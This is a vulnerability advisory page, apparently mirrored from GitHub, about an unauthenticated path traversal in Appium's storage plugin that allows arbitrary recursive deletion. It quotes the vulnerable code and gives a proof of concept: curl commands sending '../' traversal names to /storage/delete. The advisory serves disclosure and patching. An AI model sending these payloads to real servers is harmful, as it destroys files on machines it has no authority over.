GHSA-JWGX-MP9M-JWCR
appium allows unauthenticated arbitrary file/directory deletion in @appium/storage-plugin
Texto original en inglés · Ver en español
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Monitoreo | Detectada | Ingresó al índice | |
| Divulgación | Publicada | GHSA-JWGX-MP9M-JWCR divulgada · CVSS 8.6 (GitHub) | |
| Divulgación | Modificada | Última actualización del registro | |
| Monitoreo | Fuente: GitHub Security Advisories | Registro visto por primera vez en GitHub Security Advisories | |
| Monitoreo | Fuente: OSV | Registro visto por primera vez en OSV | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
The Appium storage plugin exposes an HTTP endpoint `POST /storage/delete` that takes a user-supplied `name` and deletes it from the server storage folder. The handler passes `name` straight into `path.join(storageRoot, name)` and then `fs.rimraf()` without any path sanitization. By sending a `name` containing `../` sequences, an unauthenticated remote client can escape the storage root and recursively delete arbitrary files and directories that the Appium process user can write, anywhere on the host filesystem.
The same plugin's *upload* path validates the name via `fs.sanitizeName` (`requireValidItemOptions`), but the *delete* path does not an asymmetry that makes the missing validation unambiguous.
Details
Published build (`node_modules/@appium/storage-plugin/build/lib/storage.js`), and source (`packages/storage-plugin/lib/`):
- `packages/storage-plugin/lib/storage.ts:65-75` — `Storage.delete()`:
```ts
async delete(name: string): Promise<boolean> {
if (name.toLowerCase().endsWith(TMP_EXT)) {
return false;
}
const destinationPath = path.join(this._root, name); // <-- no sanitization
if (!(await fs.exists(destinationPath))) {
return false;
}
await fs.rimraf(destinationPath); // <-- recursive delete
return true;
}
```
- `packages/storage-plugin/lib/plugin.ts:77-83` — handler passes raw body:
```ts
STORAGE_HANDLERS.deleteStorageItem = async function deleteStorageItem(req) {
return await executeStorageMethod(
async (storage) => await storage.delete(parseRequestArgs(req, ['name']).name),
);
};
```
`parseRequestArgs` (`plugin.ts:94-106`) only checks that the key exists; it does not validate the value.
- Contrast — the upload path *does* sanitize: `storage.ts:53-54` `add()` →
`requireValidItemOptions()` (`storage.ts:236-256`) rejects any `name` that differs from `fs.sanitizeName(name)`. `delete()` skips this entirely.
PoC
1. Install and start the server with the storage plugin:
```sh
npm install appium@3.5.0
./node_modules/.bin/appium plugin install --source=npm @appium/storage-plugin
./node_modules/.bin/appium --use-plugins=storage --address 127.0.0.1 --port 4723
```
(Default `--address` is `0.0.0.0`; `127.0.0.1` used here for a contained test.)
- Plant a victim file/dir outside the storage root, then delete via traversal:
curl -s -X POST http://127.0.0.1:4723/storage/delete \
-H 'Content-Type: application/json' \
-d '{"name":"../../../../../../../../../../tmp/pv_file.txt"}'
# -> {"value":true}
curl -s -X POST http://127.0.0.1:4723/storage/delete \
-H 'Content-Type: application/json' \
-d '{"name":"../../../../../../../../../../tmp/pv_dir"}'
# -> {"value":true}
```
<img width="2182" height="678" alt="image" src="https://github.com/user-attachments/assets/a4984132-3334-41c5-9a29-12ec59461d25" />
Impact
An unauthenticated attacker who can reach the Appium HTTP port (network by default, or cross-origin via a victim browser due to default CORS + no auth) can recursively delete any file or directory writable by the Appium process user. On CI runners, device farms, and developer machines this enables destruction of source trees, build artifacts, SSH keys, configuration, or the OS user profile data loss and denial of service. Appium frequently runs with broad privileges on shared device-lab hosts, amplifying impact.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
npm@appium/storage-plugin |
Corregida | 1.1.6 | — | — |
1.1.6Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://nvd.nist.gov/vuln/detail/CVE-2026-58192https://github.com/appium/appium/security/advisories/GHSA-jwgx-mp9m-jwcrhttps://github.com/appium/appium/pull/22362https://github.com/appium/appium/commit/5fee01752f2782e96fbe64fd13520b433d4a7535https://github.com/appium/appiumhttps://github.com/appium/appium/releases/tag/%40appium/storage-plugin%401.1.6Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
